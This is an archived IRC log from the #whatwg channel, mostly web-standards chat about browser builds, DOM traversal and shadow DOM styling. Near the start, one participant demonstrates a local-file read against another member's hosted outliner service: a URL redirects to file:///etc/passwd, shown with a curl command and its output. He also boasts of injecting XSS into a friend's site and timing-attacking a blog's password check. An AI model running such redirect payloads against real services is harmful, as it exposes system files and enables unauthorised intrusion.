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  1. # Session Start: Sat Mar 22 00:00:00 2014
  2. # Session Ident: #whatwg
  3. # [00:00] <erlehmann> OH LOL
  4. # [00:00] <erlehmann> gsnedders wait
  5. # [00:00] <erlehmann> this is funny
  6. # [00:00] <erlehmann> don't upgrade!
  7. # [00:00] <gsnedders> It's not my server! :P
  8. # [00:00] <erlehmann> gsnedders okay.
  9. # [00:00] <erlehmann> then you CANNOT :D
  10. # [00:01] <erlehmann> let me confirm some suspicion
  11. # [00:01] <zewt> "hey this has python 2.6" "it's not mine, baby"
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  18. # [00:05] <erlehmann> gsnedders http://gsnedders.html5.org/outliner/process.py?url=http%3A%2F%2Fdaten.dieweltistgarnichtso.net%2Ftmp%2Fetc_passwd
  19. # [00:05] <erlehmann> ; curl -sI http://daten.dieweltistgarnichtso.net/tmp/etc_passwd | grep Location
  20. # [00:05] <erlehmann> Location: file:///etc/passwd
  21. # [00:05] <erlehmann> not my fault urllib2 is so bad!
  22. # [00:05] <gsnedders> oh ffs
  23. # [00:06] <erlehmann> this is probably like 1% of how homakov must feel every day!
  24. # [00:06] <erlehmann> :D
  25. # [00:08] <erlehmann> that reminds me of that one time i „audited“ (as in: inserted crap into) a friend's startup web site. i actually got bored of all the XSS.
  26. # [00:08] <erlehmann> gsnedders i wonder how to fix that, btw.
  27. # [00:08] <erlehmann> like, with still using urllib.
  28. # [00:09] <Hixie> (you also have to prevent http:// urls to your intranet)
  29. # [00:09] <gsnedders> Hixie: Bah, that's annevk's problem! His server!
  30. # [00:09] <Hixie> i jsut mean in general
  31. # [00:10] <Hixie> in other news, why is it that every time i want to do a multi-table select, i have to relearn joins from scratch
  32. # [00:10] <gsnedders> Did anything except Presto warn at redirects across network boundaries?
  33. # [00:10] <Hixie> you'd think it would eventually stick
  34. # [00:10] <erlehmann> „Hou also have to prevent http:// urls“ – Ian Hickson, CEO of HTML
  35. # [00:10] <Hixie> gsnedders: old IE did
  36. # [00:10] * Hixie would be happy to be quoted saying that
  37. # [00:11] <Hixie> (https:// everywhere!)
  38. # [00:11] <erlehmann> hehe
  39. # [00:11] <gsnedders> Hixie: Just prod Xiven, that (was) my normal approach. :P
  40. # [00:12] <erlehmann> presto is dead
  41. # [00:12] <erlehmann> ;_;
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  43. # [00:12] <gsnedders> Now can I get back to watching TV shows and not worrying about security bugs?
  44. # [00:12] <gsnedders> I'm not too worried, it's not like I have anything on there anyway ;)
  45. # [00:13] <erlehmann> dunno
  46. # [00:13] <erlehmann> TO THE MOON
  47. # [00:14] <erlehmann> i think that /etc/passwd trick could be funny
  48. # [00:14] <gsnedders> Yeah, totally.
  49. # [00:14] <gsnedders> But in this case not that useful unless it thinks it is in a section heading :P
  50. # [00:15] <erlehmann> i don't know
  51. # [00:16] <erlehmann> i once did do a timing attack on a home grown blog software that used „if input == password“
  52. # [00:16] <erlehmann> i could measure it over a high latency umts connection
  53. # [00:16] <erlehmann> when having enough trials
  54. # [00:16] <erlehmann> (like, hundreds)
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  56. # [00:16] <erlehmann> just let me think of something.
  57. # [00:16] <gsnedders> Is there any JS library anywhere for iterating over the whole document (or a subset thereof) in document order, even in old browsers with non-tree DOMs?
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  60. # [00:19] <Hixie> gsnedders: you mean even in old IE, or do you really mean even in Netscape 4?
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  62. # [00:19] <Hixie> or 3 or whatever predates the DOM but still had document.images etc
  63. # [00:19] <zewt> not like any system puts passwords in /etc/passwd, heh
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  87. # [19:18] <abarth> zewt: it means that it's an "aura" build
  88. # [19:18] <abarth> zewt: you're probably on linux
  89. # [19:19] <abarth> we're switching the underlying toolkit to aura
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  91. # [19:22] <zewt> windows, ff28
  92. # [19:23] <zewt> looks like https://bugzilla.mozilla.org/show_bug.cgi?id=777674
  93. # [19:25] <abarth> oh, sorry, i meant to direct those messages to smaug____ :)
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  101. # [19:48] <smaug____> abarth: ahaa
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  120. # [20:41] <Ablu> not sure if this is the right place to ask (if not, please tell me where it is :)): How can i style something out of a <style> tag inside of a shadow dom depending on an hosts attribute?
  121. # [20:41] <Ablu> i tried stuff like :host[open] but that does not seem to work
  122. # [20:47] <Ablu> hm. i should read better: That is, in this context the shadow host has no tagname, ID, classes, or attributes, and the only additional information is has is that the :host pseudo-class matches it. (source: http://dev.w3.org/csswg/css-scoping/#host-element)
  123. # [20:47] <Ablu> so i guess it is simply not possible
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  125. # [20:53] <Ablu> well if anyone knows elegant alternatives please let me know :)
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